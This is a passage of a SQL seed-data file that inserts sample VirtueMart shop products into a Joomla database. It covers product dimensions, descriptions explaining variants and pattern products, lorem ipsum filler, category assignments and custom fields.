'', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (56, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (57, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (58, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (59, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (60, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (61, 1, 60, '', 125.0000, 'G', 20.0000, 20.0000, 10.0000, 'CM', '', 35, 2, 5, '0000-00-00 00:00:00', '', 0, 0, '100G', 0.5000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (62, 1, 60, '', 150.0000, 'G', 35.0000, 30.0000, 15.0000, 'CM', '', 15, 1, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (63, 1, 60, '', 200.0000, 'G', 25.0000, 25.0000, 25.0000, 'CM', '', 122, 2, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (64, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (65, 1, 64, '', 0.1000, 'KG', 25.0000, 20.0000, 2.0000, 'CM', '', 77, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (66, 1, 64, '', 0.0750, 'KG', 0.2000, 0.2000, 0.1500, 'M', '', 152, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (67, 1, 64, '', 150.0000, 'G', 25.0000, 25.0000, 15.0000, 'CM', '', 50, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (68, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (69, 1, 68, '', 350.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 2, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (70, 1, 68, '', 300.0000, 'G', NULL, NULL, NULL, 'M', '', 12, 0, 1, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (71, 1, 68, '', 550.0000, 'G', NULL, NULL, NULL, 'M', '', 15, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (72, 1, 68, '', 200.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 4, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (73, 1, 68, '', 250.0000, 'G', NULL, NULL, NULL, 'M', '', 54, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 5, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635); INSERT IGNORE INTO `#__virtuemart_products_XLANG` (`virtuemart_product_id`, `product_s_desc`, `product_desc`, `product_name`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'This is a default product.', '

          Default product with standart settings no customfields. You can set:

          \r\n

          Tab Product Information
          - General: Published, On Featured, Product SKU, Product Name, Produkt alias, URL,
          - Assignation:Manufacturer, Product Categories, Shopper Groups, Type of Product detail page
          - Product pricing: Cost price, Base price, Final price, Override, and priceranges dependant on Shopper group.
          - You can add Child products here also.

          \r\n

          Tab Product Description
          - Description, Short descriptionm Meta information

          \r\n

          Tab Product Status
          - Stock amount, Low Stock notification, Minimum and maximum purchase quantity, Availability Date + image
          - Booked, ordered products amount, Quantity Steps
          - Also it is possible to send email to shopper who bought this product.

          \r\n

          Tab Dimension and Weight
          - Lenght, Width, Height, Weight, Packing, and Units in Box

          \r\n

          Tab Product images
          - Use already uploaded images
          - Set image information
          - Upload new image
          - manage thumbnail

          \r\n

          Tab Custom Fields
          - Set related Categories & Products
          - Select customfields

          \r\n

           

          \r\n

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Default product', '', '', '', 'default-product'), (2, 'It\'s a free Product!', '

          This product shows how a free product is set up. At least let price empty. The shopper can purchase without beeing charged. In settings you decide if an invoice will be created for free products. In all cases the shopper needs to checkout.

          \r\n

          It can be used e.g. if you want to offer catalogue or merchandise products.

          ', 'Free product', '', '', '', 'free-product'), (3, 'Default product with customfield string.', '

          This is a default product with standart settings and a customfield type string. You can set:
          - Title (text)
          - Show title (select)
          - Published (select)
          - Select parent customfield (for building a pattern of multiple customfields at once) (select)
          - Cart Attribut (select)
          - Description (text)
          - Default (text)
          - Tooltip (text)
          - Layout position
          - Admin only (select)
          - Is a list (select)
          - Hidden (select)

          ', 'Product w/customfield string', '', '', '', 'product-w-customfield-string'), (4, 'This is a default product with customfield textarea.', '

          Default product with one customfield textarea you see this customfield content below.

          \r\n

          You can use customfield textarea to add further informating apart from product description.

          \r\n

           

          ', 'Product w/customfield textarea', '', '', '', 'product-w-customfield-textarea'), (5, 'This is a default product with standart settings and a customfield type parent.', '

          You can set use customfield type parent to bind multiple child customfields into a parental bundle.

          For example for books, you may wish to always give the following description:

          \r\n

          Reading level: Ages 9-12
          Hardcover: 224 pages
          Publisher: Amulet Books (November 15, 2011)
          Language: English
          ISBN-10: 1419702238
          ISBN-13: 978-1419702235

          \r\n

          Therefore bind multiple customfields e.g. string into a parent customfield to use it as a pattern.

          ', 'Product w/customfield parent', '', '', '', 'product-w-customfield-parent'), (6, 'Default product with cart variants modifies price.', '

          Custom Field with Cart Attribute allows you to add some options to a product that can modify the product price. For example, you may wish to sell a book, or the downladable version of it. And the price is different in both case.

          In this case you can select different variants. Default, Variant A,B, or C. The price will be modified by selection. In VM configuration you can also select either tax should be applied to cart variant in customfield.

          ', 'Product w/cart variant', '', '', '', 'product-w-cart-variant'), (7, 'Product with child variant; parent ordable', '

          This product will explain the usage of customfield generic (dynamic) child variant. The base product is ordable in this case.

          \r\n

          Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
          Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

          Set up a new product, set price, add child products. Add created customfield generic child variant.
          The child products are assigned to another unpublished category as the parent product for calculation or llike in this case to no category.
          Tick the checkboxes Display parent as option.

          ', 'Product w/child variant', '', '', '', 'product-w-child-variant'), (8, '', '', 'child variant 1', '', '', '', 'child-variant-1'), (9, '', '', 'child variant 2', '', '', '', 'child-variant-2'), (10, '', '', 'child variant 3', '', '', '', 'child-variant-3'), (11, 'Product with child variant; parent not ordable', '

          This product will explain the usage of customfield generic (dynamic) child variant. The base product is not ordable in this case.

          \r\n

          Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
          Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

          Set up a new product, set price, add child products. Add created customfield generic child variant.
          The child products are assigned to another category as the parent product for caclulation or like in this case to no category.
          Do not tick the checkbox Display parent as option in this case.

          ', 'Product w/child variant parent not ordable', '', '', '', 'product-w-child-variant-parent-not-ordable'), (12, '', '', 'Child variant 1 15€', '', '', '', 'child-variant-1-15'), (13, '', '', 'Child variant 1 20€', '', '', '', 'child-variant-1-20'), (14, '', '', 'Child variant 1 25€', '', '', '', 'child-variant-1-25'), (15, 'Default product with child variant and cart variant.', '

          This product is a showcase to present the combination of product price, child variant price, and cart variant price.

          ', 'Product w/child variant w/cart variant', '', '', '', 'product-w-child-variant-w-cart-variant'), (16, '', '', 'child variant w/cart variant 1', '', '', '', 'child-variant-w-cart-variant-1'), (17, '', '', 'child variant w/cart variant 2', '', '', '', 'child-variant-w-cart-variant-2'), (18, '', '', 'child variant w/cart variant 3', '', '', '', 'child-variant-w-cart-variant-3'), (19, 'Showcase for pattern usage.', '

          This product is used as a pattern for other products. It is a parent product and has multiple child products.
          You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

          \r\n

          In this case product price is set in pattern.

          ', 'Basic PATTERN', '', '', '', 'basic-pattern'), (20, 'This is a basic child of Product PATTERN.', '

          This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

          In case the child product should be available by browsing set the product category.

          ', 'Basic child', '', '', '', 'basic-pattern197'), (21, 'This is a basic child of Product PATTERN. You see inherited settings.', '

          This is a basic child of Product PATTERN. You see inherited settings.
          Overwritten are following setting/content:
          - Product desc
          - Product price

          In case the child product should be available by browsing set the product category.

          ', 'Basic price overwrite', '', '', '', 'basic-price-overwrite'), (22, 'Multiple overwrites short desc.', '

          This is a child of Product PATTERN. Most inherited settings are overwritten:
          - Short desc
          - Product desc
          - Product price
          - Product Images
          - Product Dimension and Weight (Units in Box)

          In case the child product should be available by browsing set the product category.

          ', 'Basic multiple overwrites', '', '', '', 'basic-multiple-overwrites'), (23, 'Showcase advanced pattern usage.', '

          This product is used as a pattern for other products. It is a parent product and has multiple child products.
          You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

          \r\n

          One of the hugest advantages is stock control ability.

          \r\n

           

          ', 'Advanced PATTERN', '', '', '', 'advanced-pattern'), (24, '', '

          This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

          In case the child product should be available by browsing set the product category.

          ', 'Advanced child', '', '', '', 'advanced-child'), (25, '', '

          This is a advanced child of Advanced PATTERN. You see inherited settings.
          Overwritten are following setting/content:
          - Product desc
          - Product price

          In case the child product should be available by browsing set the product category.

          ', 'Advanced price overwrite', '', '', '', 'advanced-price-overwrite'), (26, 'Advanced multiple overrides', '

          This is a child of Product PATTERN. Most inherited settings are overwritten:
          - Short desc
          - Product desc
          - Product price
          - Product Images
          - Product Dimension and Weight (Units in Box)
          - Customfields

          In case the child product should be available by browsing set the product category.

          ', 'Advanced multiple overrides', '', '', '', 'advanced-multiple-overrides'), (27, '', '', '3- Product 1st PATTERN', '', '', '', '3-product-1st-pattern'), (28, '', '', '2- 1st pattern CHILD 1', '', '', '', '2--1st-pattern-child-1'), (29, '', '', '7- 1st pattern CHILD 2', '', '', '', '7-1st-pattern-child-2'), (30, '', '', '5- 1st pattern CHILD 3', '', '', '', '5-1st-pattern-child-3'), (31, '', '', '4- 1st pattern CHILD 4', '', '', '', '4-1st-pattern-child-4'), (32, '', '', '1- 1st pattern CHILD 5', '', '', '', '1--1st-pattern-child-5'), (33, '', '', '32- 1st pattern CHILD 6', '', '', '', '32-1st-pattern-child-6'), (34, '', '', '25- 1st pattern CHILD 7', '', '', '', '25-1st-pattern-child-7'), (35, '', '', '24- 1st pattern CHILD 8', '', '', '', '24-1st-pattern-child-8'), (36, '', '', '27- 1st pattern CHILD 9', '', '', '', '27-1st-pattern-child-9'), (37, '', '', '28- 1st pattern CHILD 10', '', '', '', '28-1st-pattern-child-10'), (38, '', '', '8- Product 2st PATTERN', '', '', '', '8-product-2st-pattern'), (39, '', '', '6- 2nd pattern CHILD 1', '', '', '', '6--2nd-pattern-child-1'), (40, '', '', '15- 2nd pattern CHILD 2', '', '', '', '15-2nd-pattern-child-2'), (41, '', '', '30- 2nd pattern CHILD 3', '', '', '', '30-2nd-pattern-child-3'), (42, '', '', '17- 2nd pattern CHILD 4', '', '', '', '17-2nd-pattern-child-4'), (43, '', '', '16- 2nd pattern CHILD 5', '', '', '', '16-2nd-pattern-child-5'), (44, '', '', '22- 2nd pattern CHILD 6', '', '', '', '22-2nd-pattern-child-6'), (45, '', '', '23- 2nd pattern CHILD 7', '', '', '', '23-2nd-pattern-child-7'), (46, '', '', '21- 2nd pattern CHILD 8', '', '', '', '21-2nd-pattern-child-8'), (47, '', '', '18- 2nd pattern CHILD 9', '', '', '', '18-2nd-pattern-child-9'), (48, '', '', '33- 2nd pattern CHILD 10', '', '', '', '33-2nd-pattern-child-10'), (49, '', '', '20- Product 3rd PATTERN', '', '', '', '20-product-3rd-pattern'), (50, '', '', '19- 3rd pattern child 1', '', '', '', '19--3rd-pattern-child-1'), (51, '', '', '14- 3rd pattern child 2', '', '', '', '14--3rd-pattern-child-2'), (52, '', '', '13- 3rd pattern child 3', '', '', '', '13--3rd-pattern-child-3'), (53, '', '', '11- 3rd pattern child 4', '', '', '', '11--3rd-pattern-child-4'), (54, '', '', '26- 3rd pattern child 5', '', '', '', '26-3rd-pattern-child-5'), (55, '', '', '9- 3rd pattern child 6', '', '', '', '9--3rd-pattern-child-6'), (56, '', '', '31- 3rd pattern child 7', '', '', '', '31-3rd-pattern-child-7'), (57, '', '', '10- 3rd pattern child 8', '', '', '', '10--3rd-pattern-child-8'), (58, '', '', '29- 3rd pattern child 9', '', '', '', '29-3rd-pattern-child-9'), (59, '', '', '12- 3rd pattern child 10', '', '', '', '12--3rd-pattern-child-10'), (60, '', '', 'PATTERN Hats', '', '', '', 'pattern-hats'), (61, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Classic Hat', '', '', '', 'classic-hat'), (62, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Cowboy Hat', '', '', '', 'cowboy-hat'), (63, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Derby Hat', '', '', '', 'derby-hat'), (64, '', '', 'PATTERN Caps', '', '', '', 'pattern-caps'), (65, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Santa Cap', '', '', '', 'santa-cap'), (66, 'Base lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Baseball Cap', '', '', '', 'baseball-cap'), (67, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Marine Cap', '', '', '', 'marine-cap'), (68, 'Pattern for Clothing. For showcase reason this pattern is NOT unpublished.', '

          For showcase reason this pattern is NOT unpublished.

          ', 'PATTERN Clothing', '', '', '', 'pattern-outer-garments'), (69, 'Jumper dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '', 'Jumper', '', '', '', 'jumper'), (70, 'Wide dress dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Wide dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Wide dress', '', '', '', 'wide-dress'), (71, 'Classic jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Classic Jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Classic Jacket', '', '', '', 'classic-jacket'), (72, 'Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Poncho', '', '', '', 'poncho'), (73, 'Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

          Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          ', 'Dress', '', '', '', 'dress'); INSERT IGNORE INTO `#__virtuemart_product_categories` (`id`, `virtuemart_product_id`, `virtuemart_category_id`, `ordering`) VALUES (1, 1, 1, 1), (2, 2, 1, 2), (3, 3, 1, 3), (4, 4, 1, 4), (5, 5, 1, 5), (6, 6, 1, 6), (7, 7, 1, 7), (8, 11, 1, 8), (9, 15, 1, 9), (13, 21, 2, 3), (11, 20, 2, 2), (12, 19, 2, 1), (14, 22, 2, 4), (15, 23, 2, 5), (16, 24, 2, 6), (17, 25, 2, 7), (20, 27, 3, 3), (19, 26, 2, 8), (21, 28, 3, 2), (22, 36, 3, 27), (23, 35, 3, 24), (24, 34, 3, 25), (25, 33, 3, 32), (26, 32, 3, 1), (27, 31, 3, 4), (28, 30, 3, 5), (29, 29, 3, 7), (30, 37, 3, 28), (31, 38, 3, 8), (32, 39, 3, 6), (33, 47, 3, 18), (34, 46, 3, 21), (35, 45, 3, 23), (36, 44, 3, 22), (37, 43, 3, 16), (38, 42, 3, 17), (39, 41, 3, 30), (40, 40, 3, 15), (41, 48, 3, 33), (42, 49, 3, 20), (43, 50, 3, 19), (44, 58, 3, 29), (45, 57, 3, 10), (46, 56, 3, 31), (47, 55, 3, 9), (48, 54, 3, 26), (49, 53, 3, 11), (50, 52, 3, 13), (51, 51, 3, 14), (52, 59, 3, 12), (53, 60, 5, 1), (54, 61, 5, 2), (55, 62, 5, 3), (56, 63, 5, 4), (57, 64, 6, 1), (58, 65, 6, 2), (59, 66, 6, 3), (60, 67, 6, 4), (61, 68, 7, 1), (62, 70, 7, 3), (63, 70, 9, 1), (64, 69, 7, 2), (65, 69, 8, 1), (66, 71, 7, 4), (67, 71, 8, 2), (68, 72, 7, 5), (69, 72, 9, 2), (70, 72, 8, 3), (71, 73, 7, 6), (72, 73, 9, 3), (73, 63, 4, 4), (74, 62, 4, 3), (75, 61, 4, 2), (76, 60, 4, 1), (77, 67, 4, 8), (78, 66, 4, 7), (79, 65, 4, 6), (80, 64, 4, 5); INSERT IGNORE INTO `#__virtuemart_product_customfields` (`virtuemart_customfield_id`, `virtuemart_product_id`, `virtuemart_custom_id`, `custom_value`, `custom_price`, `custom_param`, `published`, `ordering`) VALUES (1, 3, 3, 'This is the content of the customfield string.', NULL, '', 0, 0), (2, 4, 4, 'Default product with this customfield textarea.

          \r\n\r\nLorem ipsum dolor sit amet, set clita kasd gubergren, no sea takimata sanctus est dolor sit amet consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.

          \r\n\r\nAt vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

          \r\n', NULL, '', 0, 1), (3, 5, 5, '', NULL, '', 0, 0), (4, 5, 6, 'Customfield Child string 1 content', NULL, '', 0, 1), (5, 5, 7, 'Customfield ChildCustomfield Child string 2 content 2: string content', NULL, '', 0, 2), (6, 5, 8, '
          \r\nCustomfield Textarea Child content
          \r\n>> This three customfields are assigned by adding Customfield Parent.
          ', NULL, '', 0, 3), (7, 6, 9, '(default)', NULL, '', 0, 0), (8, 6, 9, 'Variant A', 2.00000, '', 0, 1), (9, 6, 9, 'Variant B', 5.00000, '', 0, 2), (10, 6, 9, 'Variant C', 10.00000, '', 0, 3), (11, 7, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (12, 11, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="0"|', 0, 0), (13, 15, 1, '6', NULL, '', 0, 0), (14, 15, 1, '7', NULL, '', 0, 1), (15, 15, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (16, 15, 9, '(default)', NULL, '', 0, 1), (17, 15, 9, 'Variante A', 10.00000, '', 0, 2), (18, 15, 9, 'Variante B', 20.00000, '', 0, 3), (19, 15, 9, 'Variante C', 30.00000, '', 0, 4), (20, 23, 5, '', NULL, '', 0, 0), (21, 23, 6, 'Customfield string 1: Child content', NULL, '', 0, 1), (22, 23, 7, 'Customfield string 2: Child content', NULL, '', 0, 2), (23, 23, 8, '
          \r\nAdvanced PATTERN content
          \r\n>> This three customfields are assigned by adding Customfields Parent.
          ', NULL, '', 0, 3), (24, 26, 5, '', NULL, '', 0, 0), (25, 26, 6, 'Advanced multiple overwrite', NULL, '', 0, 1), (26, 26, 7, 'Advanced multiple overwrite', NULL, '', 0, 2), (27, 26, 8, '>> Advanced multiple overwrite', NULL, '', 0, 3), (28, 61, 1, '62', NULL, '', 0, 0), (29, 61, 1, '63', NULL, '', 0, 1), (30, 62, 1, '63', NULL, '', 0, 0), (31, 62, 1, '61', NULL, '', 0, 1), (32, 63, 1, '62', NULL, '', 0, 0), (33, 63, 1, '61', NULL, '', 0, 1), (44, 64, 13, 'Details: ', NULL, '', 0, 5), (43, 64, 11, '', NULL, '', 0, 4), (41, 64, 12, 'M-L', 1.00000, '', 0, 2), (40, 64, 12, 'S-M', NULL, '', 0, 1), (46, 65, 12, 'S', NULL, '', 0, 1), (42, 64, 12, 'L-XL', 2.00000, '', 0, 3), (45, 64, 14, 'Components: ', NULL, '', 0, 6), (47, 65, 12, 'M', 1.00000, '', 0, 2), (48, 65, 12, 'L', 3.00000, '', 0, 3), (49, 65, 11, '', NULL, '', 0, 4), (50, 65, 13, 'Extra fluffy cap your Santa will be amused', NULL, '', 0, 5), (51, 65, 14, '100% Synthetic Deerimitation', NULL, '', 0, 6), (52, 66, 12, 'S', NULL, '', 0, 1), (53, 66, 12, 'M', 3.00000, '', 0, 2), (54, 66, 12, 'L', 5.00000, '', 0, 3), (55, 66, 11, '', NULL, '', 0, 4), (56, 66, 13, 'The players choice!', NULL, '', 0, 5), (57, 66, 14, '100% Cotton', NULL, '', 0, 6), (58, 66, 1, '65', NULL, '', 0, 0), (59, 66, 1, '67', NULL, '', 0, 1), (60, 65, 1, '66', NULL, '', 0, 0), (61, 65, 1, '67', NULL, '', 0, 1), (62, 67, 12, 'S-M', NULL, '', 0, 1), (63, 67, 12, 'M-L', 1.00000, '', 0, 2), (64, 67, 12, 'L-XL', 2.00000, '', 0, 3), (65, 67, 11, '', NULL, '', 0, 4), (66, 67, 13, 'Your freetime and leisure heads friend', NULL, '', 0, 5), (67, 67, 14, '100% Cotton', NULL, '', 0, 6), (68, 67, 1, '65', NULL, '', 0, 0), (69, 67, 1, '66', NULL, '', 0, 1), (70, 68, 15, 'Twill', NULL, '', 0, 0), 